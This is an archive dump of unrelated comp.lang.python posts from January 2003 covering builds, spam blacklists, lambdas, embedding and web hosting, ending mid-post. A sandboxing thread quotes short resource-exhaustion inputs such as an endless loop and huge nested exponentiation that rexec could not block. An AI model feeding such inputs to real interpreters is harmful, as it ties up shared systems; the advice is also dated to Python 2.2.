>> libcl.2 in when building python, but I don't know where to change the
>> makefile to do this. (My C and makefile knowledge is limited,
>> although I did manage to compile GCC 3.2 and python 2.2.2 on my
>> Mandrake 8.2 machine). 
> 
> When you run Python's configure script try adding this option:
>     --with-libs='-lcl'
> 
> Trent
> 

That worked, thanks.

We now have a complete working Python 2.2.2, and also DCOracle2, and 
mx.DateTime and the other non-commercial mx modules working on HPUX.

Paul



From donn at u.washington.edu  Thu Jan 30 13:32:22 2003
From: donn at u.washington.edu (Donn Cave)
Date: 30 Jan 2003 18:32:22 GMT
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org> <slrn.pl.b3gfvm.go.jzgoda@kotek.home> <6VCdnQ7z-uD5zaSjXTWcqw@comcast.com> <b1bnl2$181k$1@nntp6.u.washington.edu> <CbacnQHt9pV09aSjXTWcqw@comcast.com>
Message-ID: <b1br3m$1rgm$1@nntp6.u.washington.edu>

Quoth "Brett g Porter" <BgPorter at NOartlogicSPAM.com>:
| "Donn Cave" <donn at u.washington.edu> wrote in message
| news:b1bnl2$181k$1 at nntp6.u.washington.edu...
|> Quoth "Brett g Porter" <BgPorter at NOartlogicSPAM.com>:
|> ...
|> | Of course, DNS-based blacklists shoot an elephant gun at the problem, and
|>| it's just too bad if you happen to innocently be using an ISP who gets
|>| flagged as a source of spam. Every few months this happens to us, and after
|>| we see messages being bounced, we call the ISP, and they boot the  spammer,
|>| and eventually the domain gets removed from the blacklist, but by that time
|>| we've lost a few days of business email.
|>|
|>| Blocking all mail (even legitimate) from South Korea  solves one problem,
|>| but creates another -- if my ISP happens to subscribe to this blacklist
|>| service, there's absolutely no way for me to receive email from my family
|>| living there.
|>
|> Then you and your family urgently need to bring this problem to the
|> Korean authorities.  Until they take responsibility for the problem,
|> you will be hostages to one side or the other in an anarchic struggle
|> between ISPs and spammers.
|
| I don't buy that argument for a second. How is it different from (f'r
| instance) my local telco deciding to reject all phone calls from the 818
| area code because there are telemarketers operating from there? It's not the
| responsibility of the legitimate customers to police the illegitimate
| customers just because someone downstream has deputized themself as the spam
| police.
|
| Broad blacklists like this are nothing more than the geek equivalent of a
| playground tantrum.

If only a negligible minority are ever going do it, that's true, but
the other way to look at it is geeks willing to make some of their
own customers unhappy in the interest of progress for everyone.

If the 818 area code harbors telephone users who abuse the rest of the
phone network, and whoever's theoretically responsible for 818 isn't
responsive, I don't think your local telco ought to be obligated to
provide service to them.  If this were just about some irritation to
an occasional phone customer, it would be overkill, but when it gets
to the point where the whole system is seriously compromised by this
abuse, it's just common sense.  We're there with email, and it's just
getting started.

	Donn Cave, donn at u.washington.edu



From peter at engcorp.com  Fri Jan 24 16:34:38 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 16:34:38 -0500
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com> <7xvg0ebl5j.fsf@ruckus.brouhaha.com> <mailman.1043430352.10562.python-list@python.org>
Message-ID: <3E31B16E.213E1A7C@engcorp.com>

Jp Calderone wrote:
> 
> On Fri, Jan 24, 2003 at 07:52:08AM -0800, Paul Rubin wrote:
> > Wha?  Python provides the rexec and bastion modules specifically to
> > have a way to run hostile code in a sandbox.  So what kind of advice
> > is "don't use Python"?  If sandboxed code can be prevented from
> > accessing sensitive data or doing i/o, but can't be prevented from
> > looping unkillably, that's a bug in Python.
> 
>   Yes, that's why Python provides them.  But this misconception (that they
> work) is also why it will soon -not- provide them :P  And neither RExec nor
> Bastion ever protected you against "while 1: pass" or "100L ** 100L ** 100L
> ** 100L ** 100L".  It is currently not possible to write a secure sandbox in
> Python.  I'm not sure if you can call that a bug; it's certainly
> unfortunate.

I always hate to describe something I know next to nothing about, but
I vaguely recall reading about something Zope does, I think, with munging
the generated *bytecode* to ensure that infinite loops and certain other
resource-stealing attacks (like range(1000000)) cannot work effectively.

That's not really using pure *Python*, although perhaps it can be effective
and maybe even reliable as a solution to this tricky problem.

-Peter



From johnroth at ameritech.net  Fri Jan 24 15:47:21 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 24 Jan 2003 15:47:21 -0500
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net>
Message-ID: <v339gg9p1rlb3e@news.supernews.com>

"Aaron K. Johnson" <akjmicro at yahoo.com> wrote in message
news:b0s7hn$fum$1 at bob.news.rcn.net...
>
> Hello all,
>
> For what its worth, I've updated my usenet language stats (interpret
them how
> you will)
>
> This time, the data reflects the actual number of DIFFERENT posters to
each
> group in the last 200 posts to each group, as opposed to just the
total posts
> to the group.
>
> I think this gives a better idea about how many people relative to
population
> of programmers use each language. There are some surprises. Like, what
in the
> hell is Clipper?
>
> You may also decide to put c/c++ together, in which case the total is
1511,
> right under java (which makes intuitive sense)
>
> Best,
> Aaron.
>
> survey begins here:
>
> java 3715
> (c/c++ taken together) 1511
> basic 1292
> perl 1240
> c++ 953
> pascal 905
> clipper 690
> python 647
> labview 579
> javascript 570
> c 558
> clarion 491
> tcl 443
> asm 381
> scheme 361
> vhdl 359
> fortran 341
> lisp 325
> ruby 315
> cobol 310
> postscript 308
> ada 267
> smalltalk 262
> prolog 231
> functional 230
> idl-pvwave 226
> forth 223
> verilog 220
> awk 205
> vrml 151
> rexx 142
> apl 139
> mumps 124
> pl1 117
> objective-c 106
> misc 105
> eiffel 99
> logo 78
> ml 72
> asm370 63
> dylan 37
> modula3 30
> oberon 23
> modula2 22
> pop 19
> icon 13
> idl 12
> limbo 5
> clos 4
> prograph 2
> clu 2
> visual 0
> sather 0
> hermes 0
> comp 0
> beta 0
>

I don't understand. Number of unique posters in the last 200 posts to a
newsgroup I understand,
and 647 to the (one) Python newsgroup I understand, but I don't
understand how you get
647 different posters out of the last 200 posts.

Oh, and Clipper is an old data base language, somewhere in the dbase
family.

John Roth





From uwe.schmitt at procoders.net  Fri Jan 24 19:37:27 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 25 Jan 2003 00:37:27 GMT
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de>
Message-ID: <b0sm87$117mpr$1@hades.rz.uni-sb.de>

Hi,

I fixed a security hole detected in SandBox.py:
the fixed code can be downloaded from 
http://www.procoders.net/download.php?fname=SandBox.py

Greetings, Uwe.


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From ark at research.att.com  Wed Jan 22 08:39:03 2003
From: ark at research.att.com (Andrew Koenig)
Date: Wed, 22 Jan 2003 13:39:03 GMT
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <3E2D0318.B792D649@alcyone.com> <yu99smvmjznd.fsf@europa.research.att.com> <T9ecnbxWr4LnnLOjXTWc3g@comcast.com>
Message-ID: <yu997kcx5mo8.fsf@europa.research.att.com>

>> And, of course, if you really want short-circuiting, you can write this:

>> result=[lambda:value-if-false, lambda:value-if-true][condition]()

Justin> I like it except I'd add "[not not condition]" to ensure a 0 or a 1.

You don't need to do that -- instead, you can write

   result=[lambda:value-if-true, lambda:value-if-false][not condition]()

-- 
Andrew Koenig, ark at research.att.com, http://www.research.att.com/info/ark



From raims at dot.com  Wed Jan 29 09:11:47 2003
From: raims at dot.com (Rhymes)
Date: Wed, 29 Jan 2003 15:11:47 +0100
Subject: Installer for Python software (Linux)
References: <b17j29$e1515@imsp212.netvigator.com>
Message-ID: <pan.2003.01.29.14.11.46.910933@dot.com>

Il Wed, 29 Jan 2003 12:01:12 +0800, Wouter van Marle ha scritto:

> - how do I compile the *.py to *.pyc without running the program? (I guess
> this is trivial, and yes I am lazy so add this to the questions as
well).

Look at ".pyc files" thread

-- 
Rhymes
rhymes at NOSPAMmyself.com





From andrew at indranet.co.nz  Sun Jan  5 19:26:31 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 06 Jan 2003 13:26:31 +1300
Subject: Can emacs support auto complete of python? 
In-Reply-To: <200301051439.h05Ed9jL024866@ratthing-b246.strakt.com>
References: <mailman.1041771677.3260.python-list@python.org>
 <slrnb1gfvp.1ga.davecook@localhost.localdomain> 
 <200301051439.h05Ed9jL024866@ratthing-b246.strakt.com>
Message-ID: <2217760000.1041812791@localhost.localdomain>

M-/, which looks like ALT-/ on most keyboards, is the default binding for 
dabbrev-expand :-)

--On Sunday, January 05, 2003 15:39:09 +0100 Laura Creighton 
<lac at strakt.com> wrote:

>> In article <mailman.1041771677.3260.python-list at python.org>, Nadav Horesh
>> wrote:
>>
>> > As in IDLE -- try ALT-/
>>
>> AFAIK, the only way to do this in emacs (without elisp programming)
>> would be e.g. to open the module your working with in another buffer.
>>
>> Dave Cook
>> --
>> http://mail.python.org/mailman/listinfo/python-list
>
> I have some happy news for you.  If you put this line in your .emacs
>
> (global-set-key [f3]       'dabbrev-expand)
>
> you can get autocompleting when you press the f3 key.  Bind it to
> whatever you prefer ...
>
> Laura Creighton
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From uwe.schmitt at procoders.net  Fri Jan 24 18:51:05 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 24 Jan 2003 23:51:05 GMT
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de> <8b5e42a6.0301240218.7b4d747e@posting.google.com>
Message-ID: <b0sjh9$11356q$2@hades.rz.uni-sb.de>

Levente Sandor <sandorlevi at yahoo.com> wrote:
> Uwe Schmitt <uwe.schmitt at procoders.net> wrote in message news:<b0ougt$111ko7$1 at hades.rz.uni-sb.de>...
>> Hi,
>> 
>> I wrote a simple sandbox for executing pyhton code in a
>> restricted environment.
>> The code can be downloaded from 
>> http://www.procoders.net/download.php?fname=SandBox.py
>> I appreciate any comments. I'm especially interested if
>> my restrictions are secure or if they can be circumvented.
>> 
>> 
>> Greetings, Uwe.

> Are there any advantages of your code versus the rexec module?

It was more some kind of exercise.... 
the concept is quite simple (if it works :-), but many fine grained
restrictions have to be done by the user: my code only restricts 
the acess to objects and their memebers, so if one wants to
allow reading of files, but not writing, one has to wrap this functionality 
in a small class, and pass this class to SandBox.py.  Maybe thats in some 
cases a bit of work, but the concept is quite simple, so that most users
understand what SandBox.py does for them. And: simplicty can lead to higher
security.  (again: if the concept works...).

As it is discussed in another thread, it is not possible to
protect you from code like "while 1:pass".
And protection from high memory consumption can only be done
by catching the Memory exception.
The reason is the "exec" command, which can't be controlled from
outside.

Starting point was a tool for fitting functions to given data,
with the possibility to allow the user to define own functions,
which are not included in math / cmath.

Greetings, Uwe.


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 21:31:09 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 18:31:09 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com>
Message-ID: <7xbs2jdtzm.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> True, but many of those conversations don't involve private information.
> Some do.  We're specifically talking about a "conversation" that
> involves private information, i.e. passwords.

A heck of a lot of sites use passwords for stuff that isn't that
private, e.g. for Slashdot preferences and stuff like that.  They
almost never use SSL.

A typical strategy for users is to have a not-terribly-secret password
that you use for low-confidentiality stuff like web BBS's, and
possibly some more secure passwords for stuff like online banking.

Anyway, without knowing what kind of site we're talking about, it
doesn't make sense to say SSL is worthwhile.



From grayrest at grayrest.com  Tue Jan 28 22:55:24 2003
From: grayrest at grayrest.com (grayrest)
Date: Tue, 28 Jan 2003 22:55:24 -0500
Subject: php frontend, python backend
In-Reply-To: <bfac4f24.0301281429.6783ab5a@posting.google.com>
References: <bfac4f24.0301281429.6783ab5a@posting.google.com>
Message-ID: <b17jev$kaq$2@news-int.gatech.edu>

pedro alvarez wrote:
> My webhost accept php but not python, but i want to use python with
> mysql for my website. So i want know if its possible to have php as
> frontend, and backend logic in python, and how to do that?
> I dont want to use too much php code, because it is crap and messy.
> Thanks

Looks like you'll have to be using php. Unless, of course, you have 
another server that you can run python on and trade remote messages, but 
if you do have such a server why not host your app there?

Running Python requires a python interpreter, if you don't have one you 
can't run python on that computer.

-- 
grayrest
http://grayrest.com/moz




From jack at performancedrivers.com  Sat Jan 25 16:42:04 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Sat, 25 Jan 2003 16:42:04 -0500
Subject: embedding python, missing symbols
In-Reply-To: <m3r8b1szoh.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Sat, Jan 25, 2003 at 10:10:54PM +0100
References: <mailman.1043488125.24424.python-list@python.org> <b0tr60$cls$1@mamenchi.zrz.TU-Berlin.DE> <mailman.1043527715.18984.python-list@python.org> <m3r8b1szoh.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20030125164204.D18606@localhost.localdomain>

On Sat, Jan 25, 2003 at 10:10:54PM +0100, Martin v. L?wis wrote:
> Jack Diederich <jack at performancedrivers.com> writes:
> 
> > > > gcc -I<path to Python.h> ./libpython2.2.a example.c
> > > gcc -o example.o -I<path to Python.h> example.c
> > > gcc example.o -o example -L<path to Python-libs> -lpython2.2
> > The -L<path> -l<name> combination gets translated to the plainer
> > full-path of the actual .a lib.  It's a lot more flexible for distributing
> > makefiles, but equivalent to the above.
> 
> No, it's not. You are passing libpython2.2.a first; this is
> incorrect. In the second invocation, -lpython2.2 is passed last.

Ahh, I didn't know order was ever important.  For Makefiles libs go at the
end out of habit, typing it by hand introduced the error.

Thank you, it now works as expected.

-jackdied




From DennisR at dair.com  Thu Jan 16 11:11:11 2003
From: DennisR at dair.com (Dennis Reinhardt)
Date: Thu, 16 Jan 2003 16:11:11 GMT
Subject: Is PY patching a problem (esp. on Windows)
References: <BIrV9.227$Td6.107695248@newssvr13.news.prodigy.com> <mailman.1042720592.21380.python-list@python.org>
Message-ID: <zQAV9.95$TW3.13205669@newssvr17.news.prodigy.com>

> Just remove all your pyc files as part of the update/install process.
That is another work-around for PY <-> PYC out of date.

>You shouldn't ship pyc's anyway.
The scenario I constructed was the simplest possible update, PY files inside
a ZIP file.  In such case, I think the PYC needs to be shipped in order to
overwrite what is on the user system.

In general, yes, it is highly desirable to ship PY or PYC files, but not
both.

> I occasionally go through and wipe out all my py[co] files
I find I do it often just to reduce file clutter in my development
directories.  It would sure be nice to have a way to avoid generating them
in the first place.
--

Dennis Reinhardt

http://www.dair.com





From skip at pobox.com  Thu Jan 16 07:45:30 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 16 Jan 2003 06:45:30 -0600
Subject: FW: Switch statements again
In-Reply-To: <ad052e5c.0301152308.4e7a83ee@posting.google.com>
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com>
        <1042672900.3e25ed04a5f1a@www.progoth.com>
        <mailman.1042687953.21581.python-list@python.org>
        <ad052e5c.0301152308.4e7a83ee@posting.google.com>
Message-ID: <15910.43370.593213.559080@montanaro.dyndns.org>

    Dan> Why not have optional, explicit fallthru?

Because it does not match Python's indentation philosophy very well.  There
is no other block in Python where you do something like

    if some condition:
        do stuff
        ignore the next condition and execute its code anyway
    elif some other condition:
        do more stuff

I think it would be error-prone besides.  The logic of your programming
would be sensitive to the ordering of your blocks.

Folks, feel free to write the author of PEP 275 with your comments or submit
feature requests (with a patch to the PEP would be nice) on Sourceforge
which reference the PEP so someone can keep track of your inputs.  Otherwise
they are likely to get missed and forgotten about, and if and when Python
gains something like a switch statement there will be a bunch of disgruntled
people asking, "but what about my great idea?"

Skip




From max at alcyone.com  Tue Jan  7 21:18:09 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 07 Jan 2003 18:18:09 -0800
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122> <3E1A55CE.59A4BAE0@alcyone.com> <avel90$e80$0@216.39.172.122>
Message-ID: <3E1B8A61.B88B3F48@alcyone.com>

Bengt Richter wrote:

> Was it the extras, or just putting too much on the plate at once? ;-)
> 
> What if I had just started with the default encoding/decoding
> and showed one useful example?

It was both the extras and the puttin too much on the plate at once :-).

I think having a base52 converter would be just dandy.  It was the
trying to staple integer _and_ binary string encoding in there that
rubbed me the wrong way.  I think just the basic encoding of binary
string -> base52 encoded all-alpha string and the reverse would be just
dandy.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nobody can reach me, nobody can touch me; it's a wonderful feeling.
\__/ Aaliyah
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From karsten at rohrbach.de  Fri Jan 24 14:06:40 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 24 Jan 2003 19:06:40 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043359063.30364.python-list@python.org> <87smvittss.fsf@bracknell.smullyan.org> <7x3cni1plo.fsf@ruckus.brouhaha.com>
Message-ID: <slrnb333ut.1hnf.karsten@datasink.webmonster.de>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> wrote:
> I'm not that crazy about threads either.  I don't understand why more
> multi-process servers don't use shared memory instead of disk files,

SHM is an API which might have differences from platform to platform.
File I/O should be quite the same in the POSIX world. Furthermore, files
*are* RAM, in case of enough RAM, so they are pretty fast. On most
platforms you can mmap() them and, together with working file locking,
use them as sahred memory with a pretty similar API but with better
performance (cf. libmm).

> or even (gak) SQL databases and worse.  Sometimes I wonder whether MPI

Abusing a RDBMS for cache data storage dosn't look like a good design
decision.

> (the pseudo-shared memory used in scientific clusters like Beowulf)
> might be an appropriate abstraction for programs like web servers.

MPI implementations are very (versatile|general)(?). In case of web
applications, a large number of problems is solved by separating
network I/O from execution logic from data I/O:
    Apache/cache/proxy[i] -> App Server[j] -> DB Server[k]
where ( j > i > k ), at least in my experience ;-)
In this scenario, state and session information and shared data is held
in the back end DB server, but other mechanisms are possible. Cache data
is held on-disk in the front end Apache systems, which practically
increases the overall amount of cached data proportional to the number
of frontend systems, but this buys us network performance, so I consider
it a Good Thing[tm].

> There are very efficient MPI implementations that let processes on the
> same machine communicate through shared memory, and can also let
> processes on separate machines communicate through a LAN.

It all depends on the "amount of interactivity" you need between your
application's components, and in what stage of processing. If there's
just session IDs, cookies, user names and such (speak: "joe web app"),
it's pretty simple to implement that as a data-centric model in the
backend. For other (pseudo-realtime or interactive) applications, a
networked shared memory model would make sense.

Regards,
/k



From brian at sweetapp.com  Sat Jan  4 20:20:04 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Sat, 04 Jan 2003 17:20:04 -0800
Subject: php vs python
In-Reply-To: <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com>
Message-ID: <009701c2b458$93c4b8a0$21795418@dell1700>

> How do I loop over an associative array (dictionary) with easy access
> to key and value variables on each iteration. In PHP I do this :
> 
>   foreach($table as $key => $value) {
>     echo $key.'='.$value;
>   }

Here are two ways:

for key, value in table.items():
	print key, '=', value
	print '%s=%s' % (key, value) # i like formatted printing

for key in table:
	print key, '=', table[key]

Cheers,
Brian





From vanevery at 3DProgrammer.com  Wed Jan 29 03:11:18 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Wed, 29 Jan 2003 08:11:18 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> <mailman.1043799538.401.python-list@python.org>
Message-ID: <G0MZ9.2130$wd2.170071@newsread2.prod.itd.earthlink.net>

Laura Creighton wrote:
>
> Last  C++ job I had paid roughly $400 Euros an hour.  And the reason
> they paid me this was because indeed, it was as onerous as I made it
> sound.  This is what I was paid to do all day long.

Don't conflate taking the worst pain the world has to offer for all case
uses.  The simpler the individual / team coding practices, the more viable
C++ becomes.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From bokr at oz.net  Sun Jan 12 15:08:05 2003
From: bokr at oz.net (Bengt Richter)
Date: 12 Jan 2003 20:08:05 GMT
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
Message-ID: <avshv5$kp8$0@216.39.172.122>

It seems like usually POP_TOP is the next byte code on either branch.
Or is there a difficult case where the value is needed on the stack?
It seems like the 99% case is getting the overhead (and also making the
polling interval counter count unnecessary codes).

Regards,
Bengt Richter



From vanevery at 3DProgrammer.com  Sun Jan 26 05:26:59 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Sun, 26 Jan 2003 10:26:59 GMT
Subject: skinnable, portable widgets?
Message-ID: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net>

I'm looking for a GUI widget toolkit that:
- has a python binding
- is skinnable
- is portable/ported to at least Win32 and Linux
- does not try to own the application's event pump
- is amenable to displaying my own 3D code in a window
- is mature, ready for prime time
- is open source
- whose implementation is not overly complicated, so that as things bitrot
over the next 10 years, I can maintain it and port it to new platforms

The primary application is for games.  I must be able to control the look
and feel of the widgets, so skinnability is a hard requirement.  Any
recommendations?


--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From lac at strakt.com  Wed Jan 29 13:36:15 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 19:36:15 +0100
Subject: GUI is it possible with mod_python ? 
In-Reply-To: Message from Gerard Breiner <gbreiner@ias.u-psud.fr> 
   of "Wed, 29 Jan 2003 17:10:52 +0100." <Pine.WNT.4.44.0301291650530.3352-100000@azur> 
References: <mailman.1043850414.4219.python-list@python.org> <Pine.WNT.4.44.0301291650530.3352-100000@azur> 
Message-ID: <200301291836.h0TIaFjL028505@ratthing-b246.strakt.com>

See http://mayavi.sourceforge.net/screenshots/ if what you need is
Python bindings for a 3D toolkit, in this case VTK.  But this is
running as a Tkinter-gui application now, so perhaps not what you need.

Laura




From ny_r_marquez at yahoo.com  Fri Jan  3 11:18:57 2003
From: ny_r_marquez at yahoo.com (R.Marquez)
Date: 3 Jan 2003 08:18:57 -0800
Subject: Win32 Drive List Redux
References: <ert1va.ruj2.ln@boundary.tundraware.com>
Message-ID: <8a27e309.0301030818.2f40c47@posting.google.com>

Why not use Py2Exe to convert your app into a stand alone exe.  It
creates a subfolder containing a PythonXX.dll and all the other files
needed for your app to run.  Then you could create a nice litle self
installer with something like Inno Setup
(http://www.jrsoftware.org/isinfo.htm), and distribute it to your
heart's content. :)

-Ruben 


Tim Daneliuk <tundra at tundraware.com> wrote in message news:<ert1va.ruj2.ln at boundary.tundraware.com>...
> Some time ago, there was a brief thread on how to get a list of
> available drives on Win32.  Peter Hansen suggested the use of:
> 
> win32api.GetLogicalDriveStrings()
> 
> 
> And Ken Seehof suggested:
> 
> def drives():
>      d = []
>      for c in string.lowercase:
>          if os.path.exists('%s:/'%c):
>              d.append('%s:'%c)
>      return d
> 
> 
> In my application, the first solution is not practical because I cannot
> gurantee the user will have win32api (win32all) installed.
> 
> The second solution is perfect, except ... on some machines (and I
> don't know why not on others), the attempt to check for 'a:/' causes
> Windows to present a dialog demanding that you insert a floppy to
> continue.  The bchavior is identical if you use 'a:\\' as the test
> string.  This is a showstopper for my intented use. Does anyone have
> a workaround or a better way to get the drive list?
> ------------------------------------------------------------------------------
> Tim Daneliuk
> tundra at tundraware.com



From martin at v.loewis.de  Sun Jan  5 07:50:33 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 05 Jan 2003 13:50:33 +0100
Subject: lambda semantics in for loop
References: <280e901b.0301050436.b4e501d@posting.google.com>
Message-ID: <m34r8npxpi.fsf@mira.informatik.hu-berlin.de>

henk at empanda.net (Henk Punt) writes:

> l[0](1) = 10
> l[1](1) = 10
> 
> It seems that the 'i' in the lambda binds to the last value of i in the
> for loop.

That interpretation is slightly incorrect. 'i' binds to the value of i
at the time of the call.

> Is this because 'i' is really a pointer and not the value of 'i' itself?.
> Please enlighten me!,

The expression in a lambda expression is not evaluated until the
lambda is called. At that point, the variables in the expression are
either bound (as parameters, like x), or free (like i). Both kinds of
variables are evaluated when the expression is evaluated; the variable
i evaluates to the value that i has, at the time of evaluation.

> How do I modify the example so that I would get my expected semantics.

You want i to be evaluated at the time of lambda expression
creation. The only way to achieve this is through a default argument, as in

  lambda x, current_i = i: x + current_i

Here, the default argument is evaluated when the lambda expression is
produced. It is a common pattern to name the parameter of the lambda
expression like the variable one wants to evaluate, so you could write

  lambda x, i = i: x + i

HTH,
Martin



From mwilson at the-wire.com  Wed Jan 15 09:14:52 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Wed, 15 Jan 2003 09:14:52 -0500
Subject: Object copies...
References: <6af8e801.0212222321.3bd5b56f@posting.google.com>
Message-ID: <czWJ+ks/KH2R089yn@the-wire.com>

In article <6af8e801.0212222321.3bd5b56f at posting.google.com>,
pennedinil at excite.com (DP) wrote:
>Hi all,
>
>Please help me clear my confusion here. I'm running the script below.
>I'm expecting to get a listing of my original object and the new
>object created by 'getdates'. Instead I'm seeing the function
>'getdates' changing my original object, 'mydates'.
>
>Q1: Why does 'getdates' not create a copy of 'mydates' instead of
>operating on the original object? I.e., how do I change this behavior?
>
>Q2: [Unrelated] I'm trying to parse these dates into d, m, y and can't
>think of any other way but on a per-case basis. Any suggestions on a
>better aproach? I tried -
>try:
>	d. m, y = Dates[i].split("/")
>except: ValueError ...<etc>
>but there are too many exceptions to the rule, which brings me back to
>a case-based algorithm.
>
>Thanks in advance.
>Dinil.
>
>
># -----------------------------------------------------------------------
>def indexedList(list):
>	return map(None, range(len(list)), list)
>
>def getdate(Dates):
>	for i, j in indexedList(Dates):
>		j = j.replace(".", "/")
>		j = j.replace("-", "/")
>		j = j.replace(" ", "/")
>		Dates[i] = j

Because you told it to, right here.  'Dates' is
just another name for `mydates` at this point.

My take would be:

def fix_up_date (d):
    d = d.replace ('.', '/')
    d = d.replace ('-', '/')
    d = d.replace (' ', '/')
    return d

newdates = map (fix_up_date, mydates)

or if you prefer:

newdates = [fix_up_date (d) for d in mydates]


Q2: Once the dates are well-formed, the split should work.
The question is where are they coming from, and what will
it take to make them well-formed?


        Regards.        Mel.



From BPettersen at NAREX.com  Sun Jan  5 23:05:19 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Sun, 5 Jan 2003 21:05:19 -0700
Subject: Embedded python: printing exceptions to a file?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE84@admin56.narex.com>

> From: Gernot Hillier [mailto:ghillie at suse.de] 
> 
> Hi!
> 
> I use embedded python in my application and I'm really 
> enthusiastic about it 
> - the API is really well designed, thx. :-)
> 
> But now I have a small problem - I want to log errors from 
> python scripts 
> running in the embedded interpreter to a log file. 

There doesn't seem to be a direct way of getting the string that's
produced when Python prints a traceback. I'm using the function below to
gather the information into a std::string (you'll need to modify it to
use a different exception type -- NException is our class.) There are
probably better ways to do this, but this works so I haven't had time to
look at it again <wink>:

  std::string getTraceback() {
    std::string result;
    PyObject *exception, *v, *traceback;
    PyErr_Fetch(&exception, &v, &traceback);
    PyErr_NormalizeException(&exception, &v, &traceback);

    /*
      import traceback
      lst = traceback.format_exception(exception, v, traceback)
    */
    PyObject* tbstr = PyString_FromString("traceback");
    PyObject* tbmod = PyImport_Import(tbstr);
    if (!tbmod) 
      throw new NException("Unable to import traceback module. Is your
Python installed?");
    PyObject* tbdict = PyModule_GetDict(tbmod);
    PyObject* formatFunc = PyDict_GetItemString(tbdict,
"format_exception");
    if (!formatFunc) 
      throw new NException("Can't find traceback.format_exception");
    if (!traceback) {
      traceback = Py_None;
      Py_INCREF(Py_None);
    }
    PyObject* args = Py_BuildValue("(OOO)", exception, v, traceback);
    PyObject* lst = PyObject_CallObject(formatFunc, args);

    for (int i=0; i<PyList_GET_SIZE(lst); i++) {
      result += PyString_AsString(PyList_GetItem(lst, i));
    }

    Py_DECREF(args);
    Py_DECREF(lst);
    return result;
  }

> <OT>
> I just wonder if it would be wise to splitup this newsgroup 
> into some more specific subjects like (just suggestions)
[...]

This is usually brought up once a year or so and so far nothing has
changed. That doesn't mean it shouldn't change ever, but probably
implies that it will take someone with a lot of initiative and stamina
to champion it... 

-- bjorn




From lac at strakt.com  Mon Jan 27 13:38:09 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 27 Jan 2003 19:38:09 +0100
Subject: About object reference and threads 
In-Reply-To: Message from Grumfish <nobody@nowhere.com> 
   of "Mon, 27 Jan 2003 17:58:01 GMT." <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com> 
References: <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com> 
Message-ID: <200301271838.h0RIc9jL016954@ratthing-b246.strakt.com>

> How do I tell a Thread object what Queue object to use? I have a
